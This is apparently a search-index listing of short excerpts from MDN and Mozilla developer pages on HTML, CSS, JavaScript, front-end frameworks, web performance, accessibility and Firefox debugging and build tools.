he same font-size and font-family. html { font-size: 10px; /* px means "pixels": the base font size is now 10 pixels high */ font-family: "Open Sans", sans-serif; /* this should be the rest of the output you got from Google fonts */ } Note: Anything in CSS between /* and */ is a CSS comment. The browser ignores comments as it renders the code. CSS comments are a way for you to write helpful notes about your code or logic. Now let's set font sizes for elements that will have text inside the HTML body (<h1>, <li>, and <p>). We'll also center the heading. Finally, let's expand the second ruleset (below) with settings for line height and letter spacing to make body content more readable. h1 { font-size: 60px; text-align: center; } p, li { font-size: 16px; line-height...
HTML basics - Learn web development
on that you want to appear in search results, CSS to style our content, character set declarations and more. <meta charset="utf-8"> -- This element sets the character set your document should use to UTF-8 which includes most characters from the vast majority of written languages. Essentially, it can now handle any textual content you might put on it. There is no reason not to set this and it can help avoid some problems later on. <title></title> -- the <title> element. This sets the title of your page, which is the title that appears in the browser tab the page is loaded in. It is also used to describe the page when you bookmark/favourite it. <body></body> -- the <body> element. This contains all the content that you want to show to web users when they visit your page, whether that's text, ...
JavaScript basics - Learn web development
Previous Overview: Getting started with the web Next JavaScript is a programming language that adds interactivity to your website. This happens in games, in the behavior of responses when buttons are pressed or with data entry on forms; with dynamic styling; with animation, etc. This article helps you get started with JavaScript and furthers your understanding of what is possible. What is JavaScript? JavaScript ("JS" for short) is a full-fledged dynamic programming language that can add interactivity to a website. It was invented by Brendan Eich (co-founder of the Mozilla project), the Mozilla Foundation, and the Mozilla Corporation. JavaScript is versatile and beginner-friendly. With more experience, you'll be able to create games, animated 2D and 3D graphics, comprehensive dat...
The web and web standards - Learn web development
form, and keep practicing and refining your craft. The only constant is change. Does this sound hard? Don't worry -- we aim to give you everything you need to know to get started, and things will get easier. Once you embrace the constant change and uncertainty of the web, you'll start to enjoy yourself. As a part of the web community, you'll have an entire web of contacts and useful material to help you, and you'll start to enjoy the creative possibilities it brings. You're a digital creative now. Enjoy the experience, and the potential for earning a living. Overview of modern web technologies There are a number of technologies to learn if you want to be a front-end web developer. In this section we will describe them briefly. For a more detailed explanation of how some of them work toget...
What will your website look like? - Learn web development
riate writing style, and so on. This is sometimes called a design guide, design system, or brand book, and you can see an example at the Firefox Photon Design System. Sketching out your design Next, grab pen and paper and sketch out roughly how you want your site to look. For your first simple webpage, there's not much to sketch out, but you should get in the habit of doing this now. It really helps -- you don't have to be Van Gogh! Note: Even on real, complex websites, the design teams usually start out with rough sketches on paper and later on build digital mockups using a graphics editor or web technologies. Web teams often include both a graphic designer and a user experience (UX) designer. Graphic designers put together the visuals of the website. UX designers have a somewhat more...
Use HTML to solve common problems - Learn web development
Learn › HTML › Howto
on issues, use CSS, or use scripting to make your page interactive. How to use CSS within a webpage How to use JavaScript within a webpage Embedded content How to embed a webpage within another webpage How to add Flash content within a webpage Uncommon or advanced problems Beyond the basics, HTML is very rich and offers advanced features for solving complex problems. These articles help you tackle the less common use cases you may face: Forms Forms are a complex HTML structure made to send data from a webpage to a web server. We encourage you to go over our full dedicated guide. Here is where you should start: How to create a simple Web form How to structure a Web form Tabular information Some information, called tabular data, needs to be organized into tables with co...
Creating hyperlinks - Learn web development
reen reader reads them out letter by letter. Don't say "link" or "links to" in the link text -- it's just noise. Screen readers tell people there's a link. Visual users will also know there's a link, because links are generally styled in a different color and underlined (this convention generally shouldn't be broken, as users are used to it). Keep your link label as short as possible -- this is helpful because screen readers need to interpret the entire link text. Minimize instances where multiple copies of the same text are linked to different places. This can cause problems for screen reader users, if there's a list of links out of context that are labeled "click here", "click here", "click here". Use relative links wherever possible From the description above, you might think that it'...
Getting started with HTML - Learn web development
ter set declarations, and more. You'll learn more about this in the next article of the series. <meta charset="utf-8">: This element specifies the character set for your document to UTF-8, which includes most characters from the vast majority of human written languages. With this setting, the page can now handle any textual content it might contain. There is no reason not to set this, and it can help avoid some problems later. <title></title>: The <title> element. This sets the title of the page, which is the title that appears in the browser tab the page is loaded in. The page title is also used to describe the page when it is bookmarked. <body></body>: The <body> element. This contains all the content that displays on the page, including text, images, videos, games, playable audio tracks,...
HTML text fundamentals - Learn web development
ty, SEO, etc. HTML5 redefined <b>, <i>, and <u> with new, somewhat confusing, semantic roles. Here's the best rule of thumb: It's likely appropriate to use <b>, <i>, or <u> to convey a meaning traditionally conveyed with bold, italics, or underline, provided there is no more suitable element. However, it always remains critical to keep an accessibility mindset. The concept of italics isn't very helpful to people using screen readers, or to people using a writing system other than the Latin alphabet. <i> is used to convey a meaning traditionally conveyed by italic: foreign words, taxonomic designation, technical terms, a thought... <b> is used to convey a meaning traditionally conveyed by bold: key words, product names, lead sentence... <u> is used to convey a meaning traditionally conve...
Introduction to HTML - Learn web development
areas of your website (such as "the header," "the navigation menu," or "the main content column.") This article looks into how to plan a basic website structure and how to write the HTML to represent this structure. Debugging HTML Writing HTML is fine, but what if something goes wrong, and you can't work out where the error in the code is? This article will introduce you to some tools that can help. Assessments The following assessments will test your understanding of the HTML basics covered in the guides above. Marking up a letter We all learn to write a letter sooner or later; it is also a useful example to test out text formatting skills. In this assessment, you'll be given a letter to mark up. Structuring a page of content This assessment tests your ability to use HTML to struc...
Adding vector graphics to the Web - Learn web development
provided you with a quick tour of what vector graphics and SVG are, why they are useful to know about, and how to include SVG inside your webpages. It was never intended to be a full guide to learning SVG, just a pointer so you know what SVG is if you meet it in your travels around the Web. So don't worry if you don't feel like you are an SVG expert yet. We've included some links below that might help you if you wish to go and find out more about how it works. In the last article of this module we will explore responsive images in detail, looking at the tools HTML has to allow you to make your images work better across different devices. ...
Images in HTML - Learn web development
e CSS for that rather than putting the text into an image. However, If you really can't avoid doing this, you should supply the text inside the alt attribute. Essentially, the key is to deliver a usable experience, even when the images can't be seen. This ensures all users are not missing any of the content. Try turning off images in your browser and see how things look. You'll soon realize how helpful alt text is if the image cannot be seen. Note: For more information, see our guide to Text Alternatives. Width and height You can use the width and height attributes to specify the width and height of your image. You can find your image's width and height in a number of ways. For example on the Mac you can use Cmd + I to get the info display up for the image file. Returning to our example...
Multimedia and Embedding - Learn web development
oomed in -- they can remain smooth when scaled. This article introduces you to what vector graphics are and how to include the popular SVG format in web pages. Responsive images In this article, we'll learn about the concept of responsive images -- images that work well on devices with widely differing screen sizes, resolutions, and other such features -- and look at what tools HTML provides to help implement them. This helps to improve performance across different devices. Responsive images are just one part of responsive design, a future CSS topic for you to learn. Assessments The following assessments will test your understanding of the HTML basics covered in the guides above: Mozilla splash page In this assessment, we'll test your knowledge of some of the techniques discussed in t...
HTML table basics - Learn web development
Learn › HTML › Tables › Basics
ogs-table-fixed.html on GitHub (see it live also). Why are headers useful? We have already partially answered this question -- it is easier to find the data you are looking for when the headers clearly stand out, and the design just generally looks better. Note: Table headings come with some default styling -- they are bold and centered even if you don't add your own styling to the table, to help them stand out. Tables headers also have an added benefit -- along with the scope attribute (which we'll learn about in the next article), they allow you to make tables more accessible by associating each header with all the data in the same row or column. Screenreaders are then able to read out a whole row or column of data at once, which is pretty useful. Allowing cells to span multiple rows...
General asynchronous programming concepts - Learn web development
taneously: Thread 1: Task A --> Task B Thread 2: Task C --> Task D JavaScript is single-threaded JavaScript is traditionally single-threaded. Even with multiple cores, you could only get it to run tasks on a single thread, called the main thread. Our example from above is run like this: Main thread: Render circles to canvas --> Display alert() After some time, JavaScript gained some tools to help with such problems. Web workers allow you to send some of the JavaScript processing off to a separate thread, called a worker so that you can run multiple JavaScript chunks simultaneously. You'd generally use a worker to run expensive processes off the main thread so that user interaction is not blocked. Main thread: Task A --> Task C Worker thread: Expensive task B With this in mind, have a ...
Introducing asynchronous JavaScript - Learn web development
Prerequisites: Basic computer literacy, a reasonable understanding of JavaScript fundamentals. Objective: To gain familiarity with what asynchronous JavaScript is, how it differs from synchronous JavaScript, and what use cases it has. ...
Asynchronous JavaScript - Learn web development
ramming, and how this looks in web browsers and JavaScript. You should understand these concepts before working through the other articles in the module. Introducing asynchronous JavaScript In this article we briefly recap the problems associated with sychronous JavaScript, and take a first look at some of the different asynchronous JavaScript techniques you'll encounter, showing how they can help us solve such problems. Cooperative asynchronous JavaScript: Timeouts and intervals Here we look at the traditional methods JavaScript has available for running code asychronously after a set time period has elapsed, or at a regular interval (e.g. a set number of times per second), talk about what they are useful for, and look at their inherent issues. Handling async operations gracefully with...
Build your own function - Learn web development
to one of these: displayMessage('Your inbox is almost full -- delete some mails', 'warning'); displayMessage('Brian: Hi there, how are you today?','chat'); You can see how useful our (now not so) little function is becoming. Note: If you have trouble getting the example to work, feel free to check your code against the finished version on GitHub (see it running live also), or ask us for help. Test your skills! You've reached the end of this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on -- see Test your skills: Functions. These tests require skills that are covered in the next article, so you might want to read those first before trying it. Conclusion Congratulations...
Introduction to events - Learn web development
tioned, events are not really part of the core JavaScript -- they are defined in browser Web APIs. Also, it is important to understand that the different contexts in which JavaScript is used have different event models -- from Web APIs to other areas such as browser WebExtensions and Node.js (server-side JavaScript). We are not expecting you to understand all of these areas now, but it certainly helps to understand the basics of events as you forge ahead with learning web development. If there is anything you didn't understand, feel free to read through the article again, or contact us to ask for help. ...
Client-side storage - Learn web development
run you through an example that allows you to store notes in your browser and view and delete them whenever you like, getting you to build it up for yourself and explaining the most fundamental parts of IDB as we go along. The app looks something like this: Each note has a title and some body text, each individually editable. The JavaScript code we'll go through below has detailed comments to help you understand what's going on. Getting started First of all, make local copies of our index.html, style.css, and index-start.js files into a new directory on your local machine. Have a look at the files. You'll see that the HTML is pretty simple: a web site with a header and footer, as well as a main content area that contains a place to display notes, and a form for entering new notes into...
Arrays - Learn web development
with a conditional test that stops the loop when i is no longer less than the products array's length. Just below the // number 3 comment we want you to write a line of code that splits the current array item (name:price) into two separate items, one containing just the name and one containing just the price. If you are not sure how to do this, consult the Useful string methods article for some help, or even better, look at the Converting between strings and arrays section of this article. As part of the above line of code, you'll also want to convert the price from a string to a number. If you can't remember how to do this, check out the first strings article. There is a variable called total that is created and given a value of 0 at the top of the code. Inside the loop (below // number 4...
What went wrong? Troubleshooting JavaScript - Learn web development
messages whenever a syntax error exists inside the JavaScript being fed into the browser's JavaScript engine. Now let's go hunting. Go to the tab that you've got number-game-errors.html open in, and open your JavaScript console. You should see an error message along the following lines: This is a pretty easy error to track down, and the browser gives you several useful bits of information to help you out (the screenshot above is from Firefox, but other browsers provide similar information). From left to right, we've got: A red "x" to indicate that this is an error. An error message to indicate what's gone wrong: "TypeError: guessSubmit.addeventListener is not a function" A "Learn More" link that links through to an MDN page that explains what this error means in greater detail...
Working with JSON - Learn web development
e the <section>. The order in which things are appended is important, as this is the order they will be displayed inside the HTML. Note: If you are having trouble getting the example to work, try referring to our heroes-finished.html source code (see it running live also.) Note: If you are having trouble following the dot/bracket notation we are using to access the JavaScript object, it can help to have the superheroes.json file open in another tab or your text editor, and refer to it as you look at our JavaScript. You should also refer back to our JavaScript object basics article for more information on dot and bracket notation. Converting between objects and text The above example was simple in terms of accessing the JavaScript object, because we set the XHR request to convert the J...
Introducing JavaScript objects - Learn web development
from core JavaScript features like arrays to the browser APIs built on top of JavaScript. You can even create your own objects to encapsulate related functions and variables into efficient packages and act as handy data containers. The object-based nature of JavaScript is important to understand if you want to go further with your knowledge of the language, therefore we've provided this module to help you. Here we teach object theory and syntax in detail, then look at how to create your own objects. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites Before starting this module, you should have some familiarity with HTML and CSS. You are advised to work throug...
CSS performance optimization - Learn web development
ch in turn requires both the DOM and the CSSOM trees. To optimize the CSSOM construction, remove unnecessary styles, minify, compress and cache it, and split CSS not required at page load into additional files to reduce CSS render blocking. Optimizing for render blocking CSS can scope styles to particular conditions with media queries. Media queries are important for a responsive web design and help us optimize a critical rendering path. The browser blocks rendering until it parses all of these styles but will not block rendering on styles it knows it will not use, such the print stylesheets. By splitting the CSS into multiple files based on media queries, you can prevent render blocking during download of unused CSS. To create a non-blocking CSS link, move the not-immediately used styles, s...
Multimedia: Images - Learn web development
ats like High Efficiency Image File Format (HEIF) or AV1 Still Image File Format (AVIF). Given the narrow support for JPEG-XR and JPEG2000, and also taking decode costs into the equation, the only serious contender for JPEG today is WebP. Which is why you could consider offering your images in that flavor, too, for the browsers that support it. This can be done via the <picture> element with the help of a <source> element equipped with a type attribute. If all of this sounds a bit complicated or feels like too much work for your team then there is also online services that you can use as image CDNs that will automate the serving of the correct image format on-the-fly, according to the type of device or browser requesting the image. The biggest ones are Cloudinary and Image Engine. And final...
Web performance resources - Learn web development
Using resource hints such as rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload Keep the size of Javascript to a minimum. ...
What is web performance? - Learn web development
certain ways to reduce latency (e.g. reducing the number of HTTP request you make by downloading less files, using a CDN to make your site more universally performant across thw world, and using HTTP/2 to serve file more efficiently from the server). You can read all about this topic at Understanding Latency. Conclusion That's it for now; we hope our brief overview of the web performance topic helped you to get an idea of what it is all about, and made you excited to learn more. Next up we'll look at perceived performance, and how you can use some clever techniques to make some unavoidable performance hits appear less severe to the user, or disguise them completely. Previous Overview: Performance Next In this module The "why" of web performance What is web performance? How do...
Web performance - Learn web development
nd JavaScript is needed for implementing many web performance improvement recommendations, knowing how to build applications is not a necessary pre-condition for understanding and measuring web performance. We do however recommend that before you work through this module, you at least get a basic idea of web development by working through our Getting started with the web module. ...
Server-side website programming - Learn web development
-entered data and saving it in a database, checking user permissions and logging users in, etc.), and are constructed using web frameworks that make these and other common web server operations easy. Basic knowledge of programming concepts (or of a particular programming language) is useful, but not essential. Similarly, expertise in client-side coding is not required, but a basic knowledge will help you work better with the developers creating your client-side web "front end". You will need to understand "how the web works". We recommend that you first read the following topics: What is a web server What software do I need to build a website? How do you upload files to a web server? With that basic understanding, you'll be ready to work your way through the modules in this section. ...
Componentizing our React app - Learn web development
taskList = props.tasks.map(task => ( <Todo id={task.id} name={task.name} completed={task.completed} /> )); Now the app looks like it did before, and our code is less repetitive. Unique keys Now that React is rendering our tasks out of an array, it has to keep track of which one is which in order to render them properly. React tries to do its own guesswork to keep track of things, but we can help it out by passing a key prop to our <Todo /> components. key is a special prop that's managed by React - you cannot use the word key for any other purpose. Because keys should be unique, we're going to re-use the id of each task object as its key. Update your taskList constant like so: const taskList = props.tasks.map(task => ( <Todo id={task.id} name={task.name} completed...
Deployment and next steps - Learn web development
what learning resources you should visit next. Note that our application is fully functional and porting it to TypeScript is completely optional. There are different opinions about it, and in this chapter we will talk briefly about the pros and cons of using TypeScript. Even if you are not planning to adopt it, this article will be useful for allowing you to learn what it has to offer and help you make your own decision. If you are not interested at all in TypeScript, you can skip to the next chapter, where we will look at different options for deploying our Svelte applications, further resources, and more. Code along with us Git Clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git Then to get to the current app ...
Vue conditional rendering: editing existing todos - Learn web development
ck; margin-top: 0.4rem; width: 100%; min-height: 4.4rem; padding: 0.4rem 0.8rem; border: 2px solid #565656; } form { display: flex; flex-direction: row; flex-wrap: wrap; } form > * { flex: 0 0 100%; } </style> Note: Walk through the above code then read the below description to make sure you understand everything the component is doing before moving on. This is a useful way to help reinforce everything you've learned so far. This code sets up the core of the edit functionality. We create a form with an <input> field for editing the name of our to-do. There is a "Save" button and a "Cancel" button: When the "Save" button is clicked, the component emits the new label via an item-edited event. When the "Cancel" button is clicked, the component signals this by emitting a...
Creating our first Vue component - Learn web development
checkbox where we can set the state programmatically. However, we can currently only add one ToDoList component to the page because the id is hardcoded. This would result in errors with assistive technology since the id is needed to correctly map labels to their checkboxes. To fix this, we can programmatically set the id in the component data. We can use the lodash package's uniqueid() method to help keep the index unique. This package exports a function that takes in a string and appends a unique integer to the end of the prefix. This will be sufficient for keeping component ids unique. Let's add the package to our project with npm; stop your server and enter the following command into your terminal: npm install --save lodash.uniqueid Note: If you prefer yarn, you could instead use yarn ...
Rendering a list of Vue components - Learn web development
. v-for attaches to the element you want to repeat, and renders that element and its children. In this case, we want to display an <li> element for every to-do item inside our ToDoItems array. Then we want to pass the data from each to-do item to a ToDoItem component. Key attribute Before we do that, there's one other piece of syntax to know about that is used with v-for, the key attribute. To help Vue optimize rendering the elements in the list, it tries to patch list elements so it's not recreating them every time the list changes. However, Vue needs help. To make sure it is re-using list elements appropriately, it needs a unique "key" on the same element that you attach v-for to. To make sure that Vue can accurately compare the key attributes, they need to be string or numeric values. W...
Vue resources - Learn web development
ources Here's where you should go to learn more about Vue: Vue Docs -- The main Vue site. Contains comprehensive documentation, including examples, cookbooks, and reference material. This is the best place to start learning Vue in depth. Vue Github Repo -- The Vue code itself. This is where you can report issues and/or contribute directly to the Vue codebase. Studying the Vue source code can help you better understand how the framework works, and write better code. Vue Forum -- The official forum for getting help with Vue. Vue CLI Docs -- Documentation for the Vue CLI. This contains information on customizing and extending the output you are generating via the CLI. NuxtJS -- NuxtJS is a Server-Side Vue Framework, with some architectural opinions that can be useful to creating maintaina...
Introduction to cross browser testing - Learn web development
uding Firefox, Chrome, Opera, IE, Edge, and Safari on desktop (Mac, Windows, and Linux, ideally). Test it in common phone and tablet browsers (e.g. iOS Safari on iPhone/iPad, Chrome and Firefox on iPhone/iPad/Android), Also do tests in any other browsers you have included inside your target list. The most lo-fi option is to just do all the testing you can by yourself (pulling in team mates to help out if you are working in a team). You should try to test it on real physical devices where possible. If you haven't got the means to test all those different browser, operating system, and device combinations on physical hardware, you can also make use of emulators (emulate a device using software on your desktop computer) and virtual machines (software that allows you to emulate multiple oper...
Cross browser testing - Learn web development
This module focuses on testing web projects across different browsers. We look at identifying your target audience (e.g. what users, browsers, and devices do you most need to worry about?), how to go about doing testing, the main issues that you'll face with different types of code and how to mitigate them, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites You should really learn the basics of the core HTML, CSS, and JavaScript languages first before attempting to use the tools detailed here. Guides Introduction to cross browser testing This ...
Understanding client-side web development tools - Learn web development
e. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Guides 1. Client-side tooling overview In this article we provide an overview of modern web tooling, what kinds of tools are available and where you'll meet them in the lifecycle of web app development, and how to find help with individual tools. 2. Command line crash course In your development process you'll undoubtedly be required to run some command in the terminal (or on the "command line" -- these are effectively the same thing). This article provides an introduction to the terminal, the essential commands you'll need to enter into it, how to chain commands together, and how to add your own command line inter...
Tools and testing - Learn web development
h of them. Cross browser testing This module looks specifically at the area of testing web projects across different browsers. Here we look at identifying your target audience (e.g. what users, browsers and devices do you most need to worry about?), how to go about testing, the main issues that you'll face with different types of code and how to fix/mitigate those, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing. ...
Accessibility Features in Firefox
er with superior keyboard support." Alan Cantor, Cantor Access Consulting Firefox includes keyboard access to all of its amazing features: Browse with caret allows users to select arbitrary content with the keyboard and move through content as if inside a read-only editor. This allows copying arbitrary pieces of text to the clipboard. The F7 key toggles this feature on/off. Tabbed browsing helps keyboard users by putting all of the browsed documents in one Firefox application window rather than cluttering the Alt+Tab order which makes keyboard navigation within the entire Windows OS much simpler. Both history and bookmarks can be searched with a "quick search" field that quickly narrows the list down via a substring search. Bookmarks can have a keyword assigned to them which can be ty...
Accessibility/LiveRegionDevGuide
hanged event. Both events should not be acted upon or double announcements would result. Instead, all text changed events should be examined for the presence of an embed character. If one is present, the text changed event should be discarded because an object changed event will follow. Filtering User Actions This paragraph describes object properties and event naming schemes that are used to help an AT determine if an event is an actual live region event or is the result of user action. Filtering for Performance The most significant difference between AT-SPI and IAccessible2 is that AT-SPI is an inter-process communication service while IAccessible2 runs in process. As a result, care must be taken in an AT-SPI based application to minimize performance degradation by only acting on even...
Mozilla accessibility architecture
case we also override ::GetAccNextSibling(), ::GetAccPreviousSibling() for the DOM-less children; otherwise they do not know how to find each other. It is also useful to override these the child getters to return nothing, as we do in nsLeafAccessible, nsTextAccessible and other accessible implementations where we want to be sure to avoid children. Returning nothing for leaf and text objects also helps speed up tree construction and traversal. 4. Accessible Events Accessible events are DOM events translated into the event mechanism of the given platform, using the enumerated event numbers listed in nsIAccessibleEventReceiver.idl. The accessibility client can find out what kind of event occurred as well as what accessible node the event occured on. Table of Gecko Event to Accessible Event Tran...
CSUN Firefox Materials
n. For example, it is possible to navigate to the desired link by pressing 2 letter keys rather than tabbing through many links to get there. Browse with caret allows users to select arbitrary content with the keyboard and move through content as if inside a read-only editor. This allows copying arbitrary pieces of text to the clipboard. The F7 key toggles this feature on/off. Tabbed browsing helps keyboard users by putting all of the browsed documents in one Firefox application window rather than cluttering the Alt+Tab order which makes keyboard navigation within the entire Windows OS much simpler. Both history and bookmarks can be searched with a "quick search" field that quickly narrows the list down via a substring search. Bookmarks can have a keyword assigned to them which can be ...
Information for External Developers Dealing with Accessibility
Implementing an MSAA Server, A Practical Guide A document for developers who need to support Microsoft Active Accessibility (MSAA) in a desktop application, in order to make it accessible with 3rd party assistive technologies, containing practical tips and the details of Mozilla's implementation. Accessibility API cross reference Should be helpful at anyone looking at implementing accessibility API support for a product on multiple platforms. Contains info on accessible roles, states and events. Accessible Toolkit Checklist A list of what needs to be done for accessibility when building new toolkits, widget by widget. In addition, here is a list of official keyboard UI guidelines for each desktop: Windows keys: Guidelines on keyboard UI design and on implement...
Information for Governments and Other Organizations Evaluating Mozilla
Mozilla's W3C User Agent Guidelines Evaluation Report W3C's WAI is advancing another important set of accessibility standards called UAAG. ...
Mozilla's Section 508 Compliance
(l) When electronic forms are used, the form shall allow people using assistive technology to access the information, field elements, and functionality required for completion and submission of the form, including all directions and cues. Partially complete. See functional performance criteria below. Screen reader access is currently being tested. An extension called Ad Block helps remove extra noisy content from web pages that clutter accessibility. Functional Performance Criteria Requirement Windows Linux/UNIX Mac OS Requirement Windows Linux/UNIX Mac OS a) At least one mode of operation and information retrieval that doe...
Software accessibility: Where are we today?
er problems limiting mobility. Hearing impaired We must also consider the increasing numbers of aging baby boomers that are beginning to experience problems with their sight, vision or dexterity. When you add all these groups of people together, that's a lot of potential users! In answer to this problem, many small accessibility hardware and software vendors created products and software which helped people who could not perform one of the four basic tasks to use common computer applications. Some examples of these assistive devices and software include: Screen reading software, which speaks text displayed on the screen using hardware or software text-to-speech, and which allows a blind person to use the keyboard to simulate mouse actions Alternate input devices, which allow people wit...
Frequently Asked Questions for Lightweight themes
sions dashboard. From there, you can view your current designs. By clicking on each, you can make changes to each design's settings. What's the maximum file size allowable for my Lightweight theme? The theme you upload may not exceed 300 KB for the header or the footer image. Couldn't find the answer you're looking for? Consider visiting the Firefox support website or the Themes forum for more help. ...
Add-ons
on SDK, are no longer supported. Extensions written using WebExtensions APIs for Firefox are designed to be cross-browser compatible. In most cases, it will run in Chrome, Edge, and Opera with few if any changes. They are also fully compatible with multiprocess Firefox. You can see the APIs currently supported in Firefox and other browsers. Extension Workshop The Firefox Extension Workshop can help you develop extensions for Firefox and give your users simple, yet powerful ways to customize their browsing experience. You'll find: Overview of the Firefox extension features Tools and processes for developing and testing How to publish your extension on addons.mozilla.org or distribute it yourself How to manage your published extension An enterprise guide for developing and using extens...
Adding phishing protection data providers
Installing a new data provider To install a data provider for phishing protection, it's necessary to set a series of preferences to provide details about the provider. Each data provider has a unique ID number. The data provider with the ID number 0 is the default data provider shipped with Firefox. When installing a new provider, you should use the next unused number. ...
Benchmarking
ofiling tools Currently the Gecko Profiler has limitations in the UI for inverted call stack top function analysis which is very useful for finding heavy functions that call into a whole bunch of code. Currently such functions may be easy to miss looking at a profile, so feel free to also use your favorite native profiler. It also lacks features such as instruction level profiling which can be helpful in low level profiling, or finding the hot loop inside a large function, etc. Some example tools include Instruments on OSX (part of XCode), RotateRight Zoom on Linux (uses perf underneath), and Intel VTune on Windows or Linux. ...
Chrome registration
r.xhtml jar:embedder.jar!/global/content/netError.xhtml content inspector jar:inspector.jar!/content/inspector/ Instructions supported in bootstrapped add-ons The following instructions are supported in Bootstrapped extensions: manifest content locale skin override Debugging a chrome manifest file The Chrome List extension shows all registered chrome. This is very helpful when trying to write a chrome.manifest file as you can inspect where the files are being mapped from (jar files, local directory, etc.) Old-style contents.rdf manifests Before the plaintext manifests were introduced (which happened in Firefox 1.5, Toolkit 1.8), RDF manifests named "contents.rdf" were used to register chrome. This format is deprecated; however, SeaMonkey versions before versi...
Command line options
ozilla.org, new-tab)" This option is only available on X-Windows Unix platforms. Miscellaneous -attach-console Write messages for the debugging console into the window which launched the application instead of opening a new window for the debugging messages. Only supported on the Windows operating system. -console Start application with a debugging console. Note: Windows only. -h or -help or -? Print the list of all available command line options. Note that on Windows this only works with a redirection such as |more (bug 355889). This option is available only in a command console. -osint Tells the application that it is being launched by the OS shell. This should not be specified unless the caller provides all of the functionality provided by the OS shell when launching the app...
Creating reftest-based unit tests
ocess runs reftests in a profile that does not automatically grant elevated privileges: requesting them will cause the standard security alert to display, which will likely cause the machine running the test to hang or timeout. Any tests that require such privileges to work correctly should be testing chrome only pieces of UI. You can accomplish this by either: Rewrite them as Mochitests. The helper functions snapshotWindow and compareSnapshots are available in testing/mochitest/tests/SimpleTest/WindowSnapshot.js. Register them in the chrome package in layout/tools/reftest/jar.mn, and reference the chrome URIs in the manifest file (see an example). Testing invalidation Testing that a document displays correctly once it has loaded is only one part of testing rendering. Another part is t...
Capturing a minidump
s about to crash, WinDbg will spit out more data, and the prompt at the bottom will change from saying "*BUSY*" to having a number in it. At this point, you should type ".dump /ma c:\temp\firefoxcrash.dmp" -- without the quotes, but don't forget the dot at the beginning. Once it completes, which can take a fair while, you will have a very large file at c:\temp\firefoxcrash.dmp that can be used to help debug your problem. File size will depend on this size of Firefox running in your enviroment, which could several GB. Ask in the relevant bug or thread how best to share this very large file! Capturing a minidump: application hang On Windows Vista and Windows 7, you can follow these instructions to capture a dump file and locate it after it's been saved. ...
Debugging JavaScript
It should give pointers to tools, aids and tricks which make debugging your code easier. Web Console This is the first place to go when you're debugging a web page; open the Web console using the Web Console option in the Web Developer menu. This shows any JavaScript errors in your app, as well as any logging calls from the console API. Browser Console The Browser Console lets you see all JavaScript errors and logging in the browser, including from Firefox code. ...
Debugging OpenGL
ild on the left, e.g. linux64-debug, then find the build link on the right hand side (this would be target.tar.bz2 for Linux, target.dmg for macOS, and target.zip for Windows). If you need more verbose debug output, you can enable the verbose debug mode by defining the environment variable MOZ_GL_DEBUG_VERBOSE. With this enabled, messages are printed before and after every OpenGL call. This can help make it much easier to debug crashes and hangs that make the computer unusable (thereby stymieing attempts to debug). The MOZ_GL_DEBUG_ABORT_ON_ERROR environment variable, if set, causes Firefox to abort as soon as an OpenGL error occurs. This is generally only useful in cases where you know that no error should occur, since there are cases where perfectly valid WebGL code may generate OpenGL er...
Debugging update problems
eaders addon to determine the URL of the update request. That URL might look something like: https://aus3.mozilla.org/update/3/Firefox/12.0a1/20120106040225/Darwin_x86_64-gcc3-u-i386-x86_64-shark/nightly-profiling/Darwin%2010.8.0/default/default/update.xml?force=1 You can then request this URL manually to see what's inside. Useful preferences Enabling the following preferences in about:config can help troubleshoot problems with updates: app.update.log - for application updates; extensions.logging.enabled - for add-on updates. Related resources Extension Versioning, Update and Compatibility. ...
Articles for new developers
When first getting started as a contributor to the Mozilla project, there's a lot of information to sort through and understand. To help you find the most critical stuff as quickly as possible, we've created this list of the articles you'll find most useful as you get yourself oriented and make your first contributions to the project. Also, before you go any further, we'd like to welcome you to the Mozilla community of developers! We look forward to your input! Contributing to the Mozilla code base This page should guide you through the initial steps of contributing to Mozilla. Welcome, we're delighted to see you! :) ...
Makefile - variables
Variable Description MOZ_AUTO_DEPS MOZ_BUILD_APP MOZ_BUILD_PROJECTS Build multiple projects in the same sandbox. ...
Windows SDK versions
s 7 SDK, if you get "SDKSETUP encountered an error: Expecting path %SystemRoot% to represent a valid system volume" error you may require to set environmental variable %windir% to something like "C:\Windows" instead of "%SystemRoot%". Older SDKs These are no longer supported, further information is available at Obsolete Build Caveats and Tips [en-US] under the Windows SDK article. Troubleshooting Help! I know I have the correct SDK, but configure.in's still failing! Try the following things in order: Run the Windows SDK Configuration Tool (if available) and make sure the right SDK is selected. Restart the msys console. Delete your entire object directory and start over. ...
Obsolete Build Caveats and Tips
Purpose of this page The Mozilla build process and code base have evolved considerably over the past few years. This has resulted in many caveats and tips being added to the MDN documentation for building older versions of the code base or dealing with older build tools. These tips, while helpful, are jarring and superfluous to the majority of new Mozilla builders who are mainly interested in building the latest version of Firefox. Therefore, instead of deleting all these nuggets of information, it's best to collect them all here and remove them from the majority happy path documentation. Each piece of information should mention the page and the section it originally came from. You can copy in the original text and bold out what has been removed. Obsolete caveats and tips From Simpl...
Working with Mozilla source code
Getting a pre-configured Mozilla build system virtual machine This is the easiest way to get started: use a VirtualBox virtual machine which is already configured with a complete build environment for you to use. Just boot the VM and build! Viewing and searching Mozilla source code online Learn how to use Searchfox, Mozilla's online search and browsing tool for accessing the source code. This isn't a good way to download the code, but is a great way to search it. ...
Error codes returned by Mozilla APIs
not be completed while the object is busy. Implementations of nsIChannel.asyncOpen() will commonly return this error if the channel has already been opened (and has not yet been closed). NS_ERROR_OFFLINE (0x804B0010) NS_ERROR_NO_CONTENT (0x804B0011) Returned from nsIChannel.asyncOpen() to indicate that OnDataAvailable will not be called because there is no content available. This is used by helper app style protocols (for example, mailto). NS_ERROR_UNKNOWN_PROTOCOL (0x804B0012) The URI scheme corresponds to an unknown protocol handler. NS_ERROR_PORT_ACCESS_NOT_ALLOWED (0x804B0013) NS_ERROR_NET_RESET (0x804B0014) NS_ERROR_FTP_LOGIN (0x804B0015) NS_ERROR_FTP_CWD (0x804B0016) NS_ERROR_FTP_PASV (0x804B0017) NS_ERROR_FTP_PWD (0x804B0018) NS_ERROR_NOT_RESUMABLE (0x80...
